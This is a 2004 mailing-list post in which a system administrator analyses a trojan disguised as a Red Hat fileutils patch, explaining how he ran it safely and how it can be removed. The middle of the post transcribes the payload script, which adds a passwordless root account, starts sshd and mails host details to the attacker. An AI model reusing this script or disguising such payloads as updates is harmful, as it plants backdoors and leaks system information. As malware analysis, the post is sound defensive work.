On Sun, 2004-10-24 at 18:35, Sindre Pedersen Bjordal wrote: > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > Ewdinson Then came over this tonight, first time I've ever seen anything > like this. I don't know who I'm supposed to contact about this, but an > email here might get the message across. > > IANAL, but this must be a legal issue, as there's clearly a trademark > violation. I'm no security expert, but this appears to be a really inept attempt to set up a back door password-less root account accessible via ssh. It could work, but you'd have to pretty inept to let it happen. The file in question is fileutils-1.0.6.patch.tar.gz with an md5sum of 68349c219d941209af8f7c968b89d622. Untarring it creates a directory named fileutils-1.0.6.patch with three files in it: a Makefile, inst.c, and fileutils-patch.bin. A simple 'file fileutils-patch.bin' reveals it as an old rpm (circa 2002( of the fileutils rpm. And an 'rpm -qip fileutils-patch.bin' reveals it as an actual rpm built (and signed!) by Red Hat back around that time. This file, I believe is just a decoy. The Makefile simply compiles the inst.c file, yielding an inst executable. The inst.c is the interesting file that has the guts of the exploit. First, the headers reveal, as someone else in this thread has noted, that it is some kind of 'Generic Script Compiler'. A simple Google search turns up http://www.datsi.fi.upm.es/~frosal/. It's apparently a way of obfuscating shell scripts. Dweeb mistake #1: He distributed inst.c instead of statically compiling it and distributing the inst executable which is all that was needed. Having the source made this MUCH easier to analyze. So, I figured I'd just shutdown the networking on my FC3T3 box and create a non-privileged user to run this exploit as, thereby preventing any network access, including sending mail, and preventing any corruption of system files. This system's gonna be wiped soon, anyhow, so I wasn't too worried. First thing the program does is clear the screen and bomb out if you are not running as root. Replacing /usr/bin/id with a script with this content: --- cut here --- #!/bin/bash echo 0 --- cut here --- is all it took to fool it into running as a non-root user. If you're curious, set DEBUGEXEC in inst.c to 1 recompile and set TERM to 'dumb' so the screen can't be cleared. But only initial check is echoed, so you won't see everything it attempts to do. After fooling the script into running as a non-root user, the script proceeds to by telling the user that it is 'Identifying the system' and it may take up to 2 minutes. It then proceeds as if it is 'patching' the 'ls' and 'mkdir' commands and displays hash marks as it is doing it. I ran it a second time and just ctrl-Z'd the process and did a 'ps auxww | grep inst' which revealed the entirely inline (sh -c 'command') script that does the dirty deed. This script first tries to create an account by the name of 'bash' with root's uid/gid and no password. It then tries to start sshd and and sends email to root@xxxxxxxxxxxxxx with the ip address and result of the uptime command, along with the results of the adduser and passwd commands. Here's my transcription of the script roughly snagged from the ps command, with the exception of the first two executable lines of the script which I've added: --- cut here -- #!/bin/sh echo 'Are you insane? Why are you trying to run this?' exit cd /tmp clear if [ ` id -u` != "0" ]; then echo "This patch must be applied as "root", and you are: \"`whoami`\" exit fi echo "Identifying the system. This may take up to 2 minutes. Please wait ..." sleep 3 if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then echo "Inca un root frate belea: " >> /tmp/mama adduser -g 0 -u 0 -o bash >> /tmp/mama passwd -d bash >> /tmp/mama ifconfig >> /tmp/mama uname -a >> /tmp/mama sshd >> /tmp/mama echo "user bash stii tu" >> /tmp/mama cat /tmp/mama | mail -s 'Inca o roata" root@xxxxxxxxxxxxxx >> /dev/null rm -rf /tmp/mama mkdir /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " fi bla() { sleep 2 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" sleep 2 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" sleep 3 echo -n "#" sleep 1 echo -n "#" sleep 4 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" } echo "System looks OK. Proceeding to next step." sleep 1 echo echo -n "Patching \"ls\": bla() echo -n "Patching \"mkdir\": bla() echo echo "System updated and secured successfully. You may erase these files." sleep 1 --- cut here --- Dweeb mistake #2: This isn't even a proper root kit. It looks like the only thing needed to fix it is 'userdel bash'. Done. Dweeb mistake #3: According to 'whois addlebrain.com', his domain is 'Locked'. Appears maybe he hasn't paid his bills? Or he's been caught already. This was just too easy to figure out. Granted, it could have fooled some n00bs who weren't familiar with Red Hat's update procedure, but then again, even n00bs might have a hard time installing this 'patch'. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets
